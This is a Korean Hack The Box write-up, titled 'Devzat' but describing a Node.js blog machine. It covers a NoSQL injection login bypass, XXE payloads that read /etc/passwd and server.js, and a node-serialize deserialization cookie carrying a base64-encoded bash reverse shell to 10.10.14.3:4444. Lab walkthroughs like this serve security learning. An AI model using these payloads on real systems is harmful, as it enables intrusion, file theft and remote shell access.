HTB-Devzat Write up
golang, git-dumper
이런게 Easy 난이도 머신이라니...왜 OSCP를 떨어졌는지 알겠다...
nmap 결과
node.js 를 사용한 blog 웹페이지가 나타난다.
admin/admin 으로 시도 시 로그인이 실패하였지만 Invalid Password가 나타난다.
즉 계정이 없을경우는 Invalid Username이 나오는거 같다.
로그인 시도
sql injection을 진행 시 -- 나 # 이 통하지 않아 Invalid Username으로 표시가 된다
nosql , MongoDB sql injection으로 [$ne] 를 사용하여 공격 시 에는 Password가 먹힌다. 즉 nosql중 하나인거같다.
mysql, orcal injection
nosql injection
Content-Type을 application/x-www-form-urlencoded 에서 application/json 으로 변경 후 json의 형태로 파라미터를 넘길 시에도 정상적으로 200응답이 오는것을 확인
json 으로 변경
json 형태로 password가 asd가 아닐경우 를 파라미터로 입력하여 전송 시 성공적으로 로그인이 된다
sql injection
로그인 성공
메인 페이지에서 upload기능이 있는데 해당 기능으로 txt 파일 업로드시 XML 파일이 아니여서 업로드가 안된다는 문구가 나타난다.
xml 에러
파일을 업로드 후 넘어가는 응답값을 보면 xml 결과값을 확인 가능
xml 응답값
xml 결과값을 복사 후 xml파일을 생성하여 업로드 시 변조한 입력값으로 페이지가 나오는것을 볼 수 있다.
xml 파일생성
변조한 입력값 표시
xxe injection code를 xml 파일에 넣고 파일 업로드 시 XXE injection 이 먹힘
XXE injection 페이로드
<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]><post><title>test</title><description>&test;</description><markdown>Example Markdown</markdown></post>
/etc/passwd 파일
node js 같은경우는 server.js 파일에 중요정보를 담고 있다.
잘못된 값을 전송 시 응답값에서 에러메시지를 볼 수 있는데 서버 폴더 경로가 노출된다.
서버 경로노출
xxe injection을 사용하여 server.js 코드를 읽을 경우 해당 파일의 정보가 노출됨
<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///opt/blog/server.js'>]><post><title>test</title><description>&test;</description><markdown>Example Markdown</markdown></post>
node-serialize 모듈 발견
server.js에서 node-serialize 를 발견할 수 있는데 searcshploit으로 검색 시 RCE 취약점이 발견된다.
searchsploit
45265.js에서 RCE가 가능한 공격 페이로드 발견
RCE payload
server.js에서 추가로 쿠키에 대한 정보도 얻을 수 있는데 쿠키가 UHC-SecretCookie가 md5로 암호화된 값이 쿠키로 들어가는데 현재 발급받은 쿠키를 확인시 동일한 값으로 나오는것을 확인할 수 있다.
쿠키 정보 확인
쿠키 정보 확인
현재 전송되고 있는 쿠키값을 복호화하여 전송 시 이상없이 전송되는것을 확인 가능
쿠키 변조 전송
쿠키값에 획득한 페이로드를 변조하여 전송하였지만 응답값이 나타나지 않는다.
응답값 없음
여러가지 시도끝에 값이 나타나는 경우는 싱글쿼터를 더블쿼터로 변경 후 페이로드를 URL 인코딩으로 변조하여 결과값을 넘기면은 정상적으로 RCE공격이 성공하여 응답이 오는것을 확인할 수 있다
RCE 공격 성공
리버스쉘 공격코드를 URL 인코딩하여 전송하여도 문자열 필터링 때문인지 공격이 되지 않는다.
찾은 공격방법은 해당 공격코드를 base64로 인코딩 하여야되는데 이떄 +나 특문이 들어가면 안되서 빈값은 스페이스로 채워줘야한다.
이때 스페이스를 -i뒤나 4444 뒤 필요없는 더미값에 들어가줘야함.
base64 인코딩
해당 명령어를 넣어준 후 URL 인코딩으로 공격 시도 시 서버 쉘을 획득할 수 있음
{"user":"admin","sign":"23e112072945418601deb47d9a6c7de8","rce":"_$$ND_FUNC$$_function (){require(\"child_process\").exec(\"echo -n YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMy80NDQ0ICAwPiYx | base64 -d | bash\", function(error, stdout, stderr) { console.log(stdout) });}()"}
리버스쉘 획득